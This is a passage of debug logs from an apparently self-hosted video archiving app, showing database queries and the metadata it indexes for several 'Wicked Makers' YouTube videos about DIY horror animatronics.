m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:28.449 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122440] 13:42:28.449 [debug] Current batch of media processed. Will check again in 1000ms 13:42:29.450 [debug] Current batch of media processed. Will check again in 1000ms 13:42:30.451 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "duration" => 1324, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", "id" => "L8HNEnUT070", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=L8HNEnUT070", "playlist_index" => 7, "timestamp" => 1757765945, "title" => "We turned LABUBUS into Nightmare Animatronics!", "upload_date" => "20250913"} 13:42:30.452 [debug] QUERY OK source="sources" db=0.4ms idle=756.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:30.453 [debug] QUERY OK source="sources" db=0.3ms idle=757.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:30.454 [debug] QUERY OK source="media_items" db=1.0ms idle=758.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-13 12:19:05Z], 35] 13:42:30.457 [debug] QUERY OK source="media_items" db=1.9ms idle=759.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "9d72a805-f8de-4418-8246-309c03517bec", "L8HNEnUT070", false, "https://www.youtube.com/watch?v=L8HNEnUT070", 35, [], 1324, false, 7, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, false, 98, ~U[2025-09-13 12:19:05Z], ~U[2026-06-03 17:42:30Z], ~U[2026-06-03 17:42:30Z], "Jaimie and Jay turn Labubus into NIGHTMARES! 😱 Go to https://piavpn.com/WickedMakers to get 83% off from our sponsor Private Internet Access with 4 months free!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nLABUBU GIVEAWAY ► http://bit.ly/46jp0JU\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nBe a Wicked Maker! ►\nhttps://discord.gg/wickedmakers\n\nSpecial thanks to @BeardlessProps\n\nFreddy Glove STL: https://www.thingiverse.com/thing:962185\n\n#Labubu \n#Horror\n#Makeover", "We turned LABUBUS into Nightmare Animatronics!", "L8HNEnUT070", "https://www.youtube.com/watch?v=L8HNEnUT070", 35, 1324, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e091300 - We turned LABUBUS into Nightmare Animatronics!.mp4", false, ~U[2025-09-13 12:19:05Z]] 13:42:30.457 [debug] QUERY OK source="sources" db=0.2ms idle=61.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:30.458 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:30.458 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122441] 13:42:30.458 [debug] Current batch of media processed. Will check again in 1000ms 13:42:30.976 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:31.459 [debug] Current batch of media processed. Will check again in 1000ms 13:42:32.461 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "duration" => 1827, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", "id" => "9Enbe3xxp7o", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=9Enbe3xxp7o", "playlist_index" => 8, "timestamp" => 1754664300, "title" => "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "upload_date" => "20250808"} 13:42:32.462 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1064.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:32.463 [debug] QUERY OK source="sources" db=0.8ms idle=767.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:32.465 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=768.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-08 14:45:00Z], 35] 13:42:32.466 [debug] QUERY OK source="media_items" db=0.9ms idle=770.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "f59d9ffa-fe7f-4d9d-9bae-e4b2188e1d2c", "9Enbe3xxp7o", false, "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, [], 1827, false, 8, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, false, 98, ~U[2025-08-08 14:45:00Z], ~U[2026-06-03 17:42:32Z], ~U[2026-06-03 17:42:32Z], "Jaimie and Jay make JACKIE from FNAF: Secret of the Mimic! Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin the WM Community! ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to:\n ► @Formlabs \n ► @BeardlessProps\n ► @PurgatoryProps\n\nWe made a Jackie animatronic from Five Nights at Freddy's: Secret of the Mimic. But instead of making just one Jackie animatronic, we made 3! We challenged ourselves to see how good we could make Jackie in 1 hour, 1 day, and 1 week. To make the challenge even more difficult, each FNAF Jackie animatronic is a different version of her - normal Jackie, Mimic Jackie, and Shattered Jackie. At the end, we put our Jackie to the test and see if she can actually defeat Arnold.\n\nWe love making DIY FNAF animatronics! Let us know who you want us to build next and Stay Wicked!\n\n#FNAF\n#SecretOfTheMimic\n#Jackie", "We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week", "9Enbe3xxp7o", "https://www.youtube.com/watch?v=9Enbe3xxp7o", 35, 1827, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e080800 - We made a real JACKIE from FNAF! - 1 Hour vs. 1 Day vs. 1 Week.mp4", false, ~U[2025-08-08 14:45:00Z]] 13:42:32.467 [debug] QUERY OK source="sources" db=0.2ms idle=67.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:32.467 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:32.468 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122442] 13:42:32.468 [debug] Current batch of media processed. Will check again in 1000ms 13:42:33.468 [debug] Current batch of media processed. Will check again in 1000ms 13:42:34.470 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "duration" => 1594, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", "id" => "IC1Hy_pnKT0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IC1Hy_pnKT0", "playlist_index" => 9, "timestamp" => 1749836641, "title" => "We made The DOCTOR to Protect our House!", "upload_date" => "20250613"} 13:42:34.471 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=775.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:34.472 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=776.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:34.474 [debug] QUERY OK source="media_items" db=1.1ms idle=777.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-13 17:44:01Z], 35] 13:42:34.476 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=779.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "d615779a-0d70-4769-893f-7ec75c21e277", "IC1Hy_pnKT0", false, "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, [], 1594, false, 9, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, false, 98, ~U[2025-06-13 17:44:01Z], ~U[2026-06-03 17:42:34Z], ~U[2026-06-03 17:42:34Z], "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "IC1Hy_pnKT0", "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, 1594, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, ~U[2025-06-13 17:44:01Z]] 13:42:34.476 [debug] QUERY OK source="sources" db=0.2ms idle=74.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:34.476 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:34.477 [debug] QUERY OK source="media_items" db=0.1ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122443] 13:42:34.477 [debug] Current batch of media processed. Will check again in 1000ms 13:42:35.477 [debug] Current batch of media processed. Will check again in 1000ms 13:42:36.478 [debug] Current batch of media processed. Will check again in 1000ms 13:42:37.479 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "duration" => 1690, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", "id" => "Vn8F67pCAlk", "live_status" => "not_live", 